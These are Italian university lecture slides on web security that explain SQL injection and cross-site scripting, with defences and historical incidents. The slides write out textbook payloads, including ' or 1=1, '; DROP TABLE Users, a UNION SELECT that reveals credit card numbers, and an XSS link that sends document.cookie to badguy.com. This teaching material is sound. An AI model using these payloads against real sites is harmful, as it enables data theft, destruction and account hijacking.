Elementi di Sicurezza e Privatezza Lezione 14 Web Security Chiara Braghin
Web, vulnerabilità e attacchi
Attacchi comuni (2006) Cross-site scripting (XSS) 22% SQL Injection 14 % PHP Include 10% Buffer overflow 8% Il 2005 è stato il primo anno In cui XSS ha superato gli attacchi di tipo buffer overflow. 2
Updated trends (mid-2008) http://www-935.ibm.com/services/us/iss/xforce/midyearreport/xforce-midyear-report-2008.pdf 3
Dati recenti (1) The most widespread vulnerabilities in web applications (% Vulns ALL) 4
Dati recenti (2) Percent of vulnerabilities out of total number of vulnerabilities (% Vulns ALL) 5
References The Web Application Security Consortium http://projects.webappsec.org/ Web-Hacking-Incident-Database http://projects.webappsec.org/web- Hacking-Incident-Database http://www.xiom.com/whid-about The IBM X-Force Trend and Risk Report http://www- 935.ibm.com/services/us/iss/xforce/tr endreports/ 6
Le 2 maggiori vulnerabilità dei siti Web SQL Injection Il browser spedisce dell input malizioso ad un server (tramite un form) La mancata verifica dell input porta a query SQL maliziose di TIPO 1: rilasciano informazione sensibile di TIPO 2: modificano dati critici (e sensibili) XSS Cross-site scripting Un Web server cattivo spedisce a una vittima innocente uno script che ruba informazioni da un server Web onesto 7
SQL Injection
SQL Injection Input non fidato viene inserito in una query La stringa in input altera la semantica prevista della query al database Possibile nel caso in cui non vengano controllati i dati in input Approfitta di vulnerabilità insite nei siti Web dinamici 9
SQL Injection - Funzionamento di base 1 Inserire input malizioso in un form Server Vittima 3 riceve dati sensibili 2 query SQL non voluta Attaccante DB SQL Vittima 10
SQL Injection - Elementi base (1) Client-side: Form per inserire i dati 11
SQL Injection - Elementi base (2) Server-side: Script che recupera i dati e li utilizza (e.g., costruisce la query) Esempio (codice PHP): $username = $_POST[ username ]; $sql = "SELECT PersonID FROM Users WHERE Username='$username' "; $rs = $db->executequery($sql); Problema: L input dell utente contenuto in username viene inserito direttamente in un comando SQL 12
SQL Injection - Elementi base (3) Server-side: Database su cui viene fatta la query Clienti CodiceCliente Cognome Nome Città Sconto 1 Rossi Mario VE 15 2 Scarpa Enzo PI 0 Clienti SELECT Nome, Cognome, Città FROM Clienti Cognome Rossi Nome Mario Città VE Scarpa Enzo PI 13
I tag HTML (1) I tag sono gli elementi della pagina HTML che servono per definire il tipo e il formato del contenuto, in questo modo il testo scritto appare nel formato voluto Caratteristiche principali: sono racchiusi da parentesi <angolate> <HTML> molti elementi possono avere argomenti (chiamati attributi) all'interno dei tag che definiscono parametri sulla gestione dell'elemento stesso da parte del browser <BODY BGCOLOR= red > la maggior parte dei tag ha un inizio (tag di apertura) e una fine (tag di chiusura) <HTML> e </HTML> Per chiudere un tag basta aggiungere / al tag iniziale i tag possono essere scritti indifferentemente con lettere maiuscole o minuscole 14
I tag HTML (2) - Regole di scrittura Regole per una corretta scrittura (non tutte obbligatorie): I tag vanno scritti sempre nello stesso modo non <HTML> e </html> I tag vanno aperti e chiusi sempre nello stesso ordine ma devono essere annidati fra loro e non sovrapposti: <THIS><THAT></THIS></THAT> <THIS><THAT></THAT></THIS> - tag sovrapposti, sbagliato - tag annidati, giusto Esempio: non si deve scrivere <body><p>contenuto della pagina</body></p> I valori vanno inseriti tra virgolette o apici Il browser interpreta al meglio pagine web che non rispettino queste regole, ma browser diversi possono dare risultati visivi diversi. 15
SQL (1) Una query SQL agisce sulle tabelle definite nella base di dati e restituisce come risultato una tabella. Nei casi più semplici una query SQL deve specificare: quali sono le informazioni che interessano SELECT Attributo 1, Attributo 2, in quali tabelle si trovano FROM Tabella 1, Tabella 2, quali proprietà devono avere (la condizione, opzionale, è espressa sugli attributi delle tabelle specificate nella clausola FROM) WHERE Condizione 16
SQL (2) Il comando di base di SQL: SELECT [DISTINCT] Attributo {, Attributo} FROM Tabella [Ide] {, Tabella [Ide]} [ WHERE Condizione ] Semantica: restrizione + prodotto + proiezione Note: la condizione è opzionale; in generale, una tabella nel linguaggio SQL non è un insieme, ma un multinsieme, a meno che non venga selezionata l opzione DISTINCT; per evitare ambiguità quando si opera sul prodotto di tabelle con gli stessi nomi dei campi, un attributo A di una tabella R id si denota come R.A oppure id.a. 17
SQL (3) La condizione presente nella clausola WHERE è un espressione boolena costruita combinando predicati semplici con gli operatori AND, OR, NOT Alcuni predicati semplici: Expr Confronto Expr Expr Confronto (Sottoselect che torna un valore) [NOT] EXISTS (Sottoselect) Confronto: <, >, =, <>, <=, >= 18
SQL Injection (1) Query (vulnerabile!) usata spesso per il login: SELECT * FROM Users WHERE username = chiara' AND passwd = '123' (Se ritorna qualcosa, allora login) Sintassi del server ASP/MS SQL var sql = "SELECT * FROM Users WHERE username = '" + username + "' AND passwd = '" + passwd + "'"; 19
SQL Injection (2) Web Browser (Client) Inserire username e password Web Server SELECT * FROM Users WHERE username= io' AND passwd= io23' DB Query normale 20
SQL Injection (3) Dati inseriti dall utente: username = ' or 1=1 passwd = anything Query finale: SELECT * FROM Users WHERE username = ' ' or 1=1 AND password = 'anything' Effetto: Seleziona un intera tabella invece che solo una riga! L utente viene loggato -- commenta ciò che segue per eliminare 21
SQL Injection (4) Dati inseriti dall utente: username = ' ; DROP TABLE Users passwd = anything Query finale: SELECT * FROM users WHERE username = ' ' ; DROP TABLE Users AND password = 'anything' Effetto: Cancella la tabella degli utenti!! Allo stesso modo si possono aggiungere utenti, modificare le password, etc. 22
Esempio (1.1) Esempio di come ottenere le informazioni sensibili contenute nel DB: Una form per richiedere gli ordini mensili di pizza. Si inserisce il numero del mese e viene visualizzata una tabella riassuntiva. 23
Esempio (1.2) Query SQL SELECT pizza, toppings, quantity, date FROM orders WHERE userid=. $userid. AND order_month=. _GET[ month ] Supponiamo che: month = 0 AND 1=0 UNION SELECT name, CC_num, exp_mon, exp_year FROM creditcards 24
Esempio (1.3) Risultato: vengono visualizzati i numeri di carta di credito dei clienti!! 25
Esempio (1.4) Altro attacco: SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1 La condizione è sempre vera 26
Esempio (2) - :-) Source: http://xkcd.com/327/ 27
Attacco a CardSystems CardSystems Una compagnia che gestiva il pagamento avvenuto tramite carte di credito Attacco SQL injection nel giugno 2005 L attacco in numeri: 263,000 numeri di carte di credito rubati dal database (i numeri venivano memorizzati in chiaro ) 43 milioni di numeri di carte di credito esposti all attacco 28
Attacco dell aprile 2008 (1) 29
Attacco dell aprile 2008 (2) Come ha funzionato l attacco: Usare Google per trovare siti che usano un particolare stile di ASP vulnerabile ad attacchi di tipo SQL injection Usare SQL injection su questi siti e modificare la pagina facendo in modo che includa un link al sito cinese nihaorr1.com (NON VISITARE IL SITO!!!!!) Il sito (nihaorr1.com) usa Javascript che sfruttano vulnerabilità in IE, RealPlayer, QQ Instant Messenger I passi (1) e (2) sono eseguiti in automatico da un tool che può venire configurato in modo che inietti qullo che si vuole nei siti vulnerabili. 30
Esistono delle soluzioni? 1. Whitelisting al posto di Blacklisting 2. Validazione dell input 3. Usare Prepared Statements 31
Problemi del Blacklisting Blacklisting: indicare i caratteri che non devono essere presenti nelle stringhe di input Filtrare apici, spazi bianchi, ; e? Si potrebbe sempre scordare un carattere pericoloso Blacklisting non è una soluzione esauriente Es: parametri numerici? Può essere in conflitto con alcuni requisiti funzionali: come memorizzare O Brien nel DB se gli apici non sono permessi? 32
Validazione dell input basato su whitelisting Whitelisting permette solo input che rientra in un ben definito insieme di valori L insieme di valori in genere viene definito usando espressioni regolari RegExp è il pattern con cui confrontare le stringhe in ingresso Es: parametro month: intero non-negativo RegExp: ^[0-9]*$ - 0 o più cifre, insieme sicuro ^, $ indica l inizio e la fine della stringa [0-9] indica cifre, * undica 0 o più 33
Prepared Statements & Bind Variables Alcuni metacaratteri (e.g. apici) servono per distinguere i dati dal controllo nelle query Nella maggior parte degli attacchi: dati interpretati come controllo Altera la semantica della query Bind Variable:? segnaposto che garantiscono si tratti di dati (non controllo) Prepared Statements permettono la creazione di query statiche con bind variables Preserva la struttura della query attesa I paramentri non vengono considerati in fase di parsing della query 34
Java Prepared Statements PreparedStatement ps = db.preparestatement("select pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setint(1, session.getcurrentuserid()); ps.setint(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executequery(); Bind Variable: segnaposto per i dati Le bind variable sono tipate: l input deve essere del tipo che ci si aspetta (e.g. int, string) 35
PHP Prepared Statements $ps = $db->prepare( 'SELECT pizza, toppings, quantity, order_day '. 'FROM orders WHERE userid=? AND order_month=?'); $ps->execute(array($current_user_id, $month)); Non c è la tipizzazione dei parametri come in Java SQL injection è ancora possibile! 36
Conclusione Gli attacchi di tipo SQL injection sono delle minacce che possono Compromettere dati sensibili Alterare o danneggiare dati critici Dare ad un attaccante un accesso non autorizzato ad un DB Idea chiave: Usare diverse soluzioni, in modo consistente! Validazione dell input basato su whitelisting Prepared Statements con bind variable 37
XSS Cross Site Scripting
Cosa è XSS? Un attacco XSS inserisce uno script (script injection) nella(e) pagina(e) generata(e) da un applicazione Web Metodi per inserire lo script : Reflected XSS ( tipo 1 ) Lo script viene spedito all utente come parte di una pagina del sito vittima un URL che, utilizzato sul sito vulnerabile (e vittima), altera il contenuto delle pagine in modo non permanente ed esclusivamente per le richieste HTTP che utilizzano tale URL appositamente forgiato Stored XSS ( tipo 2 ) L attaccante salva il codice malizioso tra le risorse gestite dall applicazione Web attaccata (per esempio un DB) Il contenuto della pagina viene modificato permanentemente 39
Reflected XSS - esempio (1) Supponiamo che sul sito victim.com ci sia un campo di ricerca: http://victim.com/search.php? term = apple E che search.php a lato server sia: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term]?> :... </BODY> </HTML> 40
Reflected XSS - esempio (2) Si consideri il seguente link (ottenuto in qualche modo dal server malizioso): http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Cosa succede se l utente fa click sul link? Il browser va a victim.com/search.php Victim.com ritorna la seguente pagina: <HTML> Results for <script> </script> Il browser esegue lo script: Spedisce a badguy.com il cookie 41
Reflected XSS - esempio (3) Server Malizioso L utente riceve il link cattivo www.attacker.com http://victim.com/search.php? term = <script>... </script> Il server vittima echo l input dell utente Client vittima L utente fa click sul link www.victim.com <html> Results for <script> window.open(http://attacker.com?... document.cookie...) </script> </html> Server Vittima 42
Reflected XSS - in generale (1) Script injection 3 Spedisce dati confidenziali Server Malizioso Client vittima 2 1 Send bad stuff Reflect it back Server Vittima 43
Reflected XSS - in generale (2) Possibile quando un Web server ha degli script che generano una pagina utilizzando dati inseriti dal client mediante parametri della richiesta HTTP o di form senza verificarli In questo caso il server si dice XSS vulnerable 44
Reflected XSS - in generale (3) 1. Alice spesso visita il sito di Bob, che è reflected XSS vulnerable e memorizza dati sensibili di Alice 2. Mallory osserva quanto sopra e crea un URL che sfrutta tale vulnerabilità, spedisce ad Alice una mail con l URL (che punta al sito di Bob, ma contiene uno script malizioso 3. Alice visita l URL e lo script di Mallory viene eseguito dal browser di Alice, come se venisse direttamente da Bob 45
Same-origin policy dei browser (1) Detta anche cross-domain security policy Introdotta da Netscape Navigator 2.0 Limita l interazione tra pagine Web che provengono da domini diversi Gli script possono accedere solo alle proprietà (cookie, oggetti DOM) di documenti che hanno la stessa origine NB1: i link, i frame, le immagini, i fogli di stile e gli script possono appartenere e provenire da domini diversi 46
Same-origin policy dei browser (2) Origin: protocol, hostname, port, ma non il path Same Origin http://www.examplesite.org/here http://www.examplesite.org/there stesso protocollo: http, host: examplesite, default port 80 All Different Origins http://www.examplesite.org/here https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Protocollo diverso: http vs. https, porte diverse: 80 vs. 8080, host diversi: examplesite vs. hackerhome 47
Same-origin policy dei browser (3) Con l attacco XSS viene bypassata la same-origin policy! 48
Esempio: attacco a PayPal Attacco del 2006: Gli utenti vengono contattati via email e gli viene richiesto si accedere ad un URL che si trova sul sito legittimo di PayPal Del codice iniettato nell URL ridireziona i visitatori ad una pagina che comunica loro che i loro account sono stati compromessi Le vittime vengono quindi redirette ad un sito (non legittimo!!) dove veniva loro chiesto di inserire i loro dati sensibili Source: http://www.acunetix.com/news/paypal.htm 49
Stored XSS - in generale (1) Server Malizioso Client vittima 4 Rilascio di dati confidenziali 2 3 Richiesta del contenuto Riceve lo script malizioso 1 Inject dello script malizioso Memorizza bad stuff Download il bad stuff Server Vittima 50
Stored XSS - in generale (2) Possibile grazie a siti con online message board dove gli utenti possono inserire messaggi formattati in HTML Scenario: Mallory posta in un social network un messaggio con un corpo malizioso Quando Bob legge il messaggio lo script malizioso legge il cookie di Bob Mallory ora può impersonare Bob 51
Stored XSS - esempio (1) Attacco a MySpace.com (il Worm Samy) Gli utenti possono postare codice HTML nelle loro pagine MySpace.com verifica che l HTML non contenga <script>, <body>, onclick, <a href=javascript://> ma Javascript nei tag CSS è permesso: <div style= background:url( javascript:alert(1) ) > Con un attento Javascript hacking: Samy worm infetta chiunque visiti una pagina di MySpace infettata, e aggiunge Samy come amico In 24 ore Samy aveva milioni di amici!! 52
Stored XSS - esempio (2) Stored XSS tramite immagini Si supponga che il file foto.jpg contenga HTML La richiesta http://site.com/foto.jpg ha come risposta: HTTP/1.1 200 OK Content-Type: image/jpeg <html> fooled ya </html> Il browser la visualizzerà come HTML non curante del Content-Type Si supponga che esista un sito di condivisione foto che permette di scaricare le immagini..cosa succede se un utente scarica un immagine che è uno script? 53